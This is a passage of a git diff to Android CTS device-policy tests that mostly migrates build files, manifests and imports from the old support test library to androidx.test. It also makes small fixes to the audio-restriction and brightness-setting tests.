             android:targetPackage="com.android.cts.devicepolicy.assistapp"
             android:label="Assistant related device policy CTS" />
 
diff --git a/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/Android.mk b/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/Android.mk
index 020d0bd..c2fdb5f 100644
--- a/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/Android.mk
+++ b/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/Android.mk
@@ -34,7 +34,7 @@
 
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs cts-junit android.test.base.stubs
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt compatibility-device-util-axt
 
 LOCAL_SDK_VERSION := test_current
 
@@ -59,7 +59,7 @@
 
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs cts-junit android.test.base.stubs
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt compatibility-device-util-axt
 
 LOCAL_SDK_VERSION := test_current
 
diff --git a/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/AndroidManifest.xml b/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/AndroidManifest.xml
index 820f1be..f23a692 100644
--- a/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/AndroidManifest.xml
@@ -47,7 +47,7 @@
         </service>
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
             android:targetPackage="com.android.cts.comp"
             android:label="Corp owned managed profile CTS tests"/>
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/CrossProfileAppsTest/Android.mk b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/Android.mk
index 8ff609d..0239f6c 100644
--- a/hostsidetests/devicepolicy/app/CrossProfileAppsTest/Android.mk
+++ b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/Android.mk
@@ -28,8 +28,8 @@
 
 LOCAL_STATIC_JAVA_LIBRARIES = \
 	androidx.legacy_legacy-support-v4 \
-	ctstestrunner \
-	android-support-test \
+	ctstestrunner-axt \
+	androidx.test.rules \
 	truth-prebuilt \
 	ub-uiautomator
 
diff --git a/hostsidetests/devicepolicy/app/CrossProfileAppsTest/AndroidManifest.xml b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/AndroidManifest.xml
index 79093d6..289f54c 100644
--- a/hostsidetests/devicepolicy/app/CrossProfileAppsTest/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/AndroidManifest.xml
@@ -40,7 +40,7 @@
         </activity>
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="com.android.cts.crossprofileappstest"
                      android:label="Launcher Apps CTS Tests"/>
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsNonTargetUserTest.java b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsNonTargetUserTest.java
index ee7af51..554259e 100644
--- a/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsNonTargetUserTest.java
+++ b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsNonTargetUserTest.java
@@ -22,8 +22,9 @@
 import android.os.Bundle;
 import android.os.UserHandle;
 import android.os.UserManager;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Before;
 import org.junit.Test;
diff --git a/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsTargetUserTest.java b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsTargetUserTest.java
index 31baa79..2aa1ae8 100644
--- a/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsTargetUserTest.java
+++ b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsTargetUserTest.java
@@ -27,13 +27,14 @@
 import android.os.Bundle;
 import android.os.UserHandle;
 import android.os.UserManager;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
 import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.UiDevice;
 import android.support.test.uiautomator.UiObject2;
 import android.support.test.uiautomator.Until;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
diff --git a/hostsidetests/devicepolicy/app/CustomizationApp/Android.mk b/hostsidetests/devicepolicy/app/CustomizationApp/Android.mk
index 81d98f1..c06a984 100644
--- a/hostsidetests/devicepolicy/app/CustomizationApp/Android.mk
+++ b/hostsidetests/devicepolicy/app/CustomizationApp/Android.mk
@@ -27,8 +27,8 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    android-support-test \
-    compatibility-device-util \
+    androidx.test.rules \
+    compatibility-device-util-axt \
 
 LOCAL_JAVA_LIBRARIES := android.test.base.stubs
 
diff --git a/hostsidetests/devicepolicy/app/CustomizationApp/AndroidManifest.xml b/hostsidetests/devicepolicy/app/CustomizationApp/AndroidManifest.xml
index be6249f..a3b0507 100644
--- a/hostsidetests/devicepolicy/app/CustomizationApp/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/CustomizationApp/AndroidManifest.xml
@@ -27,7 +27,7 @@
     </application>
 
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="com.android.cts.customizationapp"
         android:label="Customization CTS Tests" />
 
diff --git a/hostsidetests/devicepolicy/app/DelegateApp/Android.mk b/hostsidetests/devicepolicy/app/DelegateApp/Android.mk
index 1d0be1d..0eb904a 100644
--- a/hostsidetests/devicepolicy/app/DelegateApp/Android.mk
+++ b/hostsidetests/devicepolicy/app/DelegateApp/Android.mk
@@ -28,8 +28,8 @@
 
 LOCAL_STATIC_JAVA_LIBRARIES = \
     androidx.legacy_legacy-support-v4 \
-    ctstestrunner \
-    android-support-test
+    ctstestrunner-axt \
+    androidx.test.rules
 
 LOCAL_SDK_VERSION := current
 
diff --git a/hostsidetests/devicepolicy/app/DelegateApp/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DelegateApp/AndroidManifest.xml
index cc139a4..a3f8157 100644
--- a/hostsidetests/devicepolicy/app/DelegateApp/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DelegateApp/AndroidManifest.xml
@@ -24,7 +24,7 @@
             android:exported="true">
         </activity>
     </application>
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="com.android.cts.delegate"
                      android:label="Delegation CTS Tests"/>
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/DeviceAdmin/api23/Android.mk b/hostsidetests/devicepolicy/app/DeviceAdmin/api23/Android.mk
index 5cf7f05..0663e7c 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdmin/api23/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceAdmin/api23/Android.mk
@@ -27,8 +27,8 @@
 LOCAL_RESOURCE_DIR += $(LOCAL_PATH)/../res
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner \
-    compatibility-device-util
+    ctstestrunner-axt \
+    compatibility-device-util-axt
 
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
 
diff --git a/hostsidetests/devicepolicy/app/DeviceAdmin/api23/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceAdmin/api23/AndroidManifest.xml
index d70b22d..8e2fdc2 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdmin/api23/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DeviceAdmin/api23/AndroidManifest.xml
@@ -46,7 +46,7 @@
 
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
             android:targetPackage="com.android.cts.deviceadmin23"
             android:label="Device Admin CTS tests"/>
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/DeviceAdmin/api24/Android.mk b/hostsidetests/devicepolicy/app/DeviceAdmin/api24/Android.mk
index a7c7470..a7da461 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdmin/api24/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceAdmin/api24/Android.mk
@@ -27,8 +27,8 @@
 LOCAL_RESOURCE_DIR += $(LOCAL_PATH)/../res
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner \
-    compatibility-device-util
+    ctstestrunner-axt \
+    compatibility-device-util-axt
 
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
 
diff --git a/hostsidetests/devicepolicy/app/DeviceAdmin/api24/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceAdmin/api24/AndroidManifest.xml
index e2d785c..30bd6dc 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdmin/api24/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DeviceAdmin/api24/AndroidManifest.xml
@@ -46,7 +46,7 @@
 
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
             android:targetPackage="com.android.cts.deviceadmin24"
             android:label="Device Admin CTS tests"/>
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/DeviceAdminService/package1/Android.mk b/hostsidetests/devicepolicy/app/DeviceAdminService/package1/Android.mk
index 55cf2b3..2689607 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdminService/package1/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceAdminService/package1/Android.mk
@@ -26,7 +26,7 @@
 
 LOCAL_RESOURCE_DIR += $(LOCAL_PATH)/../res
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt compatibility-device-util-axt
 
 LOCAL_JAVA_LIBRARIES := android.test.base.stubs
 
diff --git a/hostsidetests/devicepolicy/app/DeviceAdminService/package1/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceAdminService/package1/AndroidManifest.xml
index 47f3c6a6..d2b4b0c 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdminService/package1/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DeviceAdminService/package1/AndroidManifest.xml
@@ -41,6 +41,6 @@
 
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
             android:targetPackage="com.android.cts.deviceadminservice" />
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/DeviceAdminService/package2/Android.mk b/hostsidetests/devicepolicy/app/DeviceAdminService/package2/Android.mk
index 8725fb7..4726b8d 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdminService/package2/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceAdminService/package2/Android.mk
@@ -26,7 +26,7 @@
 
 LOCAL_RESOURCE_DIR += $(LOCAL_PATH)/../res
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt compatibility-device-util-axt
 
 LOCAL_JAVA_LIBRARIES := android.test.base.stubs
 
diff --git a/hostsidetests/devicepolicy/app/DeviceAdminService/package2/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceAdminService/package2/AndroidManifest.xml
index 0ff8e68..c57eb8e 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdminService/package2/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DeviceAdminService/package2/AndroidManifest.xml
@@ -41,6 +41,6 @@
 
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
             android:targetPackage="com.android.cts.deviceadminservice" />
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/DeviceAdminService/package3/Android.mk b/hostsidetests/devicepolicy/app/DeviceAdminService/package3/Android.mk
index fdc7e7a..8ac6307 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdminService/package3/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceAdminService/package3/Android.mk
@@ -26,7 +26,7 @@
 
 LOCAL_RESOURCE_DIR += $(LOCAL_PATH)/../res
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt compatibility-device-util-axt
 
 LOCAL_JAVA_LIBRARIES := android.test.base.stubs
 
diff --git a/hostsidetests/devicepolicy/app/DeviceAdminService/package3/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceAdminService/package3/AndroidManifest.xml
index 5d63794..46a5fee 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdminService/package3/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DeviceAdminService/package3/AndroidManifest.xml
@@ -40,6 +40,6 @@
 
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
             android:targetPackage="com.android.cts.deviceadminservice" />
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/DeviceAdminService/package4/Android.mk b/hostsidetests/devicepolicy/app/DeviceAdminService/package4/Android.mk
index 02bf1e5..32c061a 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdminService/package4/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceAdminService/package4/Android.mk
@@ -26,7 +26,7 @@
 
 LOCAL_RESOURCE_DIR += $(LOCAL_PATH)/../res
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt compatibility-device-util-axt
 
 LOCAL_JAVA_LIBRARIES := android.test.base.stubs
 
diff --git a/hostsidetests/devicepolicy/app/DeviceAdminService/package4/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceAdminService/package4/AndroidManifest.xml
index b43d086..3a98de5 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdminService/package4/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DeviceAdminService/package4/AndroidManifest.xml
@@ -46,6 +46,6 @@
 
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
             android:targetPackage="com.android.cts.deviceadminservice" />
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/DeviceAdminService/packageb/Android.mk b/hostsidetests/devicepolicy/app/DeviceAdminService/packageb/Android.mk
index cf21905..54493f2 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdminService/packageb/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceAdminService/packageb/Android.mk
@@ -26,7 +26,7 @@
 
 LOCAL_RESOURCE_DIR += $(LOCAL_PATH)/../res
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt compatibility-device-util-axt
 
 LOCAL_JAVA_LIBRARIES := android.test.base.stubs
 
diff --git a/hostsidetests/devicepolicy/app/DeviceAdminService/packageb/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceAdminService/packageb/AndroidManifest.xml
index 95d203a..beb23a8 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdminService/packageb/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DeviceAdminService/packageb/AndroidManifest.xml
@@ -39,6 +39,6 @@
         </service>
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
             android:targetPackage="com.android.cts.deviceadminservice" />
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api23/Android.mk b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api23/Android.mk
index 1599d60..0002333 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api23/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api23/Android.mk
@@ -32,8 +32,8 @@
 LOCAL_USE_AAPT2 := true
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    compatibility-device-util \
-    ctstestrunner \
+    compatibility-device-util-axt \
+    ctstestrunner-axt \
     ub-uiautomator \
     cts-security-test-support-library
 
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api23/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api23/AndroidManifest.xml
index d92d440..793233a 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api23/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api23/AndroidManifest.xml
@@ -40,7 +40,7 @@
     </application>
 
     <instrumentation
-            android:name="android.support.test.runner.AndroidJUnitRunner"
+            android:name="androidx.test.runner.AndroidJUnitRunner"
             android:label="Profile and Device Owner CTS Tests API 23"
             android:targetPackage="com.android.cts.deviceandprofileowner">
         <meta-data
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api25/Android.mk b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api25/Android.mk
index 481f821..c1d6687 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api25/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api25/Android.mk
@@ -32,8 +32,8 @@
 LOCAL_USE_AAPT2 := true
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    compatibility-device-util \
-    ctstestrunner \
+    compatibility-device-util-axt \
+    ctstestrunner-axt \
     ub-uiautomator \
     cts-security-test-support-library
 
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api25/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api25/AndroidManifest.xml
index a8d249c..e99ed7c 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api25/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api25/AndroidManifest.xml
@@ -37,7 +37,7 @@
     </application>
 
     <instrumentation
-            android:name="android.support.test.runner.AndroidJUnitRunner"
+            android:name="androidx.test.runner.AndroidJUnitRunner"
             android:label="Profile and Device Owner CTS Tests"
             android:targetPackage="com.android.cts.deviceandprofileowner">
         <meta-data
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/Android.mk b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/Android.mk
index 8c6d3fd..4de65ba 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/Android.mk
@@ -32,8 +32,8 @@
 LOCAL_USE_AAPT2 := true
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    compatibility-device-util \
-    ctstestrunner \
+    compatibility-device-util-axt \
+    ctstestrunner-axt \
     ub-uiautomator \
     cts-security-test-support-library
 
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml
index 5419611..1550fe6 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml
@@ -82,7 +82,7 @@
     </application>
 
     <instrumentation
-            android:name="android.support.test.runner.AndroidJUnitRunner"
+            android:name="androidx.test.runner.AndroidJUnitRunner"
             android:label="Profile and Device Owner CTS Tests"
             android:targetPackage="com.android.cts.deviceandprofileowner">
         <meta-data
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/res/raw/ringer.mp3 b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/res/raw/ringer.mp3
new file mode 100644
index 0000000..aa052e7
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/res/raw/ringer.mp3
Binary files differ
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AssistScreenCaptureDisabledTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AssistScreenCaptureDisabledTest.java
index d076920..e171636 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AssistScreenCaptureDisabledTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AssistScreenCaptureDisabledTest.java
@@ -1,17 +1,18 @@
 package com.android.cts.deviceandprofileowner;
 
+import static org.junit.Assert.assertEquals;
+
 import android.app.Activity;
 import android.content.BroadcastReceiver;
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
 import android.graphics.Bitmap;
-import android.os.Handler;
-import android.os.Looper;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.Log;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.BlockingBroadcastReceiver;
 
 import org.junit.Assert;
@@ -22,8 +23,6 @@
 import java.util.concurrent.LinkedBlockingQueue;
 import java.util.concurrent.TimeUnit;
 
-import static org.junit.Assert.assertEquals;
-
 /**
  * Testing
  * {@link android.app.admin.DevicePolicyManager#setScreenCaptureDisabled(ComponentName, boolean)}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AudioRestrictionTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AudioRestrictionTest.java
index d44b782..56c3596 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AudioRestrictionTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AudioRestrictionTest.java
@@ -18,8 +18,10 @@
 
 import android.content.Context;
 import android.content.pm.PackageManager;
+import android.content.res.Resources;
 import android.media.AudioManager;
 import android.media.MediaPlayer;
+import android.net.Uri;
 import android.provider.Settings;
 import android.os.SystemClock;
 import android.os.UserManager;
@@ -31,6 +33,7 @@
 
     private AudioManager mAudioManager;
     private PackageManager mPackageManager;
+    private boolean mUseFixedVolume;
     private final Callable<Boolean> mCheckIfMasterVolumeMuted = new Callable<Boolean>() {
         @Override
         public Boolean call() throws Exception {
@@ -43,6 +46,8 @@
         super.setUp();
         mAudioManager = (AudioManager) mContext.getSystemService(Context.AUDIO_SERVICE);
         mPackageManager = mContext.getPackageManager();
+        mUseFixedVolume = mContext.getResources().getBoolean(
+                Resources.getSystem().getIdentifier("config_useFixedVolume", "bool", "android"));
     }
 
     // Here we test that DISALLOW_ADJUST_VOLUME disallows to unmute volume.
@@ -80,12 +85,13 @@
     }
 
     public void testDisallowAdjustVolume() throws Exception {
-        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT)) {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT) || mUseFixedVolume) {
             return;
         }
 
+        Uri uri = Uri.parse("android.resource://" + mContext.getPackageName() + "/" + R.raw.ringer);
         MediaPlayer mediaPlayer = new MediaPlayer();
-        mediaPlayer.setDataSource(mContext, Settings.System.DEFAULT_RINGTONE_URI);
+        mediaPlayer.setDataSource(mContext, uri);
         mediaPlayer.setAudioStreamType(AudioManager.STREAM_MUSIC);
         mediaPlayer.prepare();
         mediaPlayer.setLooping(true);
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordWithTokenTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordWithTokenTest.java
index 93ea709..6cab658 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordWithTokenTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordWithTokenTest.java
@@ -17,7 +17,8 @@
 
 import android.app.KeyguardManager;
 import android.app.admin.DevicePolicyManager;
-import android.support.test.InstrumentationRegistry;
+
+import androidx.test.InstrumentationRegistry;
 
 public class ResetPasswordWithTokenTest extends BaseDeviceAdminTest {
 
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SetSystemSettingTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SetSystemSettingTest.java
index 0fbbee1..3030e35 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SetSystemSettingTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SetSystemSettingTest.java
@@ -19,6 +19,7 @@
 import android.os.UserHandle;
 import android.provider.Settings;
 
+import static android.provider.Settings.System.SCREEN_BRIGHTNESS_MODE_AUTOMATIC;
 /**
  * Test {@link DevicePolicyManager#setSystemSetting}.
  */
@@ -36,8 +37,23 @@
   }
 
   public void testSetBrightness() {
-    testSetBrightnessWithValue(TEST_BRIGHTNESS_1);
-    testSetBrightnessWithValue(TEST_BRIGHTNESS_2);
+    final int mode = Settings.System.getInt(mContext.getContentResolver(),
+        Settings.System.SCREEN_BRIGHTNESS_MODE, SCREEN_BRIGHTNESS_MODE_AUTOMATIC);
+    if(mode == SCREEN_BRIGHTNESS_MODE_AUTOMATIC) {
+
+        mDevicePolicyManager.setSystemSetting(ADMIN_RECEIVER_COMPONENT,
+          Settings.System.SCREEN_BRIGHTNESS_MODE, "0");
+
+        testSetBrightnessWithValue(TEST_BRIGHTNESS_1);
+        testSetBrightnessWithValue(TEST_BRIGHTNESS_2);
+        mDevicePolicyManager.setSystemSetting(ADMIN_RECEIVER_COMPONENT,
+            Settings.System.SCREEN_BRIGHTNESS_MODE,
+              mode == SCREEN_BRIGHTNESS_MODE_AUTOMATIC? "1" : "0");
+    }
+    else {
+       testSetBrightnessWithValue(TEST_BRIGHTNESS_1);
+       testSetBrightnessWithValue(TEST_BRIGHTNESS_2);
+    }
   }
 
   public void testSetSystemSettingsFailsForNonWhitelistedSettings() throws Exception {
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/Android.mk b/hostsidetests/devicepolicy/app/DeviceOwner/Android.mk
index c3f6d124..9607557 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/Android.mk
@@ -37,9 +37,9 @@
 LOCAL_USE_AAPT2 := true
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner \
-    compatibility-device-util \
-    android-support-test \
+    ctstestrunner-axt \
+    compatibility-device-util-axt \
+    androidx.test.rules \
     cts-security-test-support-library \
     testng
 
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceOwner/AndroidManifest.xml
index b4dff59..e461e8e 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/AndroidManifest.xml
@@ -94,7 +94,7 @@
 
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="com.android.cts.deviceowner"
                      android:label="Device Owner CTS tests">
         <meta-data
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/AffiliationTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/AffiliationTest.java
index 0afc16e..57d200b 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/AffiliationTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/AffiliationTest.java
@@ -16,11 +16,19 @@
 
 package com.android.cts.deviceowner;
 
+import static junit.framework.Assert.assertEquals;
+import static junit.framework.Assert.assertFalse;
+import static junit.framework.Assert.assertTrue;
+import static junit.framework.Assert.fail;
+
+import static org.junit.Assert.assertArrayEquals;
+
 import android.app.admin.DevicePolicyManager;
 import android.content.ComponentName;
 import android.content.Context;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
